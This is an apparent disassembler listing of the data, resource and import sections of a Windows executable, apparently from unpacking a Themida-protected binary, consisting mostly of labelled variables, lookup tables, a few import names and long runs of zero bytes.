dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o
dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o
; sub_41761C+DDo ...
dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o
; sub_41761C+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_4383A8o
dd 1B7h dup(0)
dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w
; sub_417493+94r
dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w
; sub_4178F9+55r ...
dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w
; sub_417493+D6r ...
dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w
; sub_417493+35r ...
dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo
dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w
; sub_417493+A2r
align 8
dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o
; sub_4172C1+103r ...
dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw
; sub_4177C3+107w
dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w
; sub_4177C3+10Dw ...
dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w
; sub_4178F9+4Fr
dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w
; sub_417C61:loc_417DE6w ...
dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o
; sub_417B2F+12o ...
dd 0
dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr
; sub_417E06+3Ar
dd 7Fh dup(0)
dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r
; sub_417E06+4Aw
dd 1944h dup(0)
dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o
dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o
; sub_417B2F+3Co ...
dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o
; sub_418D2A+131o ...
dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co
; sub_419AE0+A5o
dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w
; sub_4190A5+4Dr ...
dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo
; sub_4199AC+12Do
dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co
; sub_418FE5+7Eo ...
byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r
; sub_4190A5+34w
align 10h
dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o
; sub_4192FC+89o ...
dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o
; sub_418C0E+5Bo
dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er
; sub_41A05C+54r ...
dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr
; sub_41A05C+37r ...
dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar
; sub_41A1B1+83o
dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r
; sub_41A1B1+11Bw
dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o
; sub_41A1B1:loc_41A2EEo
dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr
; sub_41A05C+ECr ...
align 10h
dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o
byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o
; ___:0041B881o ...
align 10h
dd 3Fh dup(0)
dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o
dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o
; ___:0041B6CAo
dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w
; ___:loc_41DB07w ...
dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w
; sub_41E312:loc_41E3ACw ...
dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar
dd 0A28h, 501h, 5, 1
dword_4DBDF8 dd 1 ; DATA XREF: ___:loc_401516r
; ___:0042381Dw
dword_4DBDFC dd 2460B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
dd 0
dword_4DBE04 dd 2460B58h ; DATA XREF: ___:00423717w
dd 3 dup(0)
off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw
; sub_4241E3+5r
align 10h
dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w
dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r
; sub_41C1B3+8Bw
dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br
; sub_41CAD4+91w
align 10h
dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw
dword_4DBE34 dd 0 ; DATA XREF: ___:loc_4236E5r
; ___:loc_423727r ...
dd 0
dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw
; sub_41F4C9+2Dw ...
dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r
dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr
; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r
; sub_4208E2+4w ...
dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r
align 8
dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r
; sub_42237D+1Ar ...
byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r
; sub_422279+98r ...
align 10h
dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r
; sub_42245B+21w ...
byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w
align 4
dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er
; sub_422A2C+3Ar ...
dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr
; sub_422A2C+43r ...
dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar
; sub_4227F8+5r
dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r
dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r
; sub_4232A8+4Cw ...
dd 2 dup(0)
dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r
; sub_41DE4A+6Er ...
dd 3 dup(0)
dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r
; sub_41E0D4+BFr ...
dd 0
dword_4DBE9C dd 0 ; DATA XREF: ___:00423531r
; ___:0042353Dw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
; ___:off_4DBE14o
align 4
dd 3Ah dup(0)
dword_4DBFA4 dd 1 ; DATA XREF: ___:004239DBr
; ___:004239FCw ...
dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r
dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w
; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r
dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r
; sub_4244F4:loc_42455Ew
word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao
; sub_424DF9+46r
byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r
align 4
dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o
dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w
; sub_424DF9+5Co
dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w
dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w
dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr
; sub_424F1C+38r ...
dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r
; sub_425029+2Ew ...
dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w
; sub_425029:loc_425078r
dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw
; sub_425029+60r
dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr
dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr
; sub_425C06+6Do
dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r
; sub_425C06+44o
dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r
; sub_425C06+37o
dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r
; sub_425C06+51o
align 10h
dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r
; sub_426636+4Cw ...
dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r
; sub_4268C1:loc_42692Bw
byte_4DC018 db 0 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
align 4
dword_4DC01C dd 2461140h ; DATA XREF: sub_41E490:loc_41E4A1r
; sub_41FD3D+14r ...
dword_4DC020 dd 400h dup(0) ; DATA XREF: ___:off_43D568o
; ___:0043D570o
dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r
; sub_41E490+56r ...
dd 7 dup(0)
dword_4DD040 dd 2460650h ; DATA XREF: sub_41F8E3+75r
; sub_41F9BC+2Ar ...
dword_4DD044 dd 3Fh dup(0) ; DATA XREF: ___:00423B9Do
dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r
; sub_41F9BC+Cr ...
dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r
; sub_420749+65w ...
align 10h
dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o
; sub_420749+171o ...
dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w
; sub_420749+15Dw ...
byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w
; sub_420988:loc_420AB1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co
; sub_420749+AFo ...
byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr
; sub_420749+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew
; sub_420749+12Bw ...
dword_4DD368 dd 0 ; DATA XREF: sub_41ED74+5r
; sub_41ED74+32w
dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar
; sub_41E742+25Ar ...
dword_4DD370 dd 0 ; DATA XREF: sub_41E742+311w
; sub_41EA6B:loc_41EABBr ...
dword_4DD374 dd 0 ; DATA XREF: sub_41E742+22Dr
; sub_41E742+260r ...
dword_4DD378 dd 0 ; DATA XREF: sub_41E717r
; sub_41E742+2CBr ...
dword_4DD37C dd 0 ; DATA XREF: sub_41E717+8r
; sub_41E742+2D0r ...
dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr
; sub_41BEF3+Fr ...
dword_4DD384 dd 2460000h ; DATA XREF: sub_41BA91+5Ar
; sub_41BBE2+C0r ...
dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr
; sub_41BBE2:loc_41BC12r ...
dword_4DD38C dd 142340h ; DATA XREF: ___:0042368Ar
; ___:004237B5r
dword_4DD390 dd 1 ; DATA XREF: ___:00423780w
dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr
; sub_420B0D+11w ...
dword_4DD398 dd 2460758h ; DATA XREF: sub_41C1B3+3Er
; sub_41D9B3+13r ...
dword_4DD39C dd 2460758h ; DATA XREF: sub_41C1B3+35r
; sub_41C1B3+57r ...
dd 318h dup(0)
dword_4DE000 dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DF000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 000E0000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4E0000h
a7icwCw db '7╗Гw╣\Гw',0
align 4
dd 77345219h, 4 dup(0)
dd 0E0050h, 0E0000h, 3 dup(0)
dd 0E0079h, 0E000Ch, 3 dup(0)
db 0
byte_4E0049 db 3 dup(0) ; DATA XREF: ___:004385ACo
align 10h
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
db 0
dd 0FEh dup(0)
db 3 dup(0)
db 0 ; DATA XREF: Themida_:00549A68o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
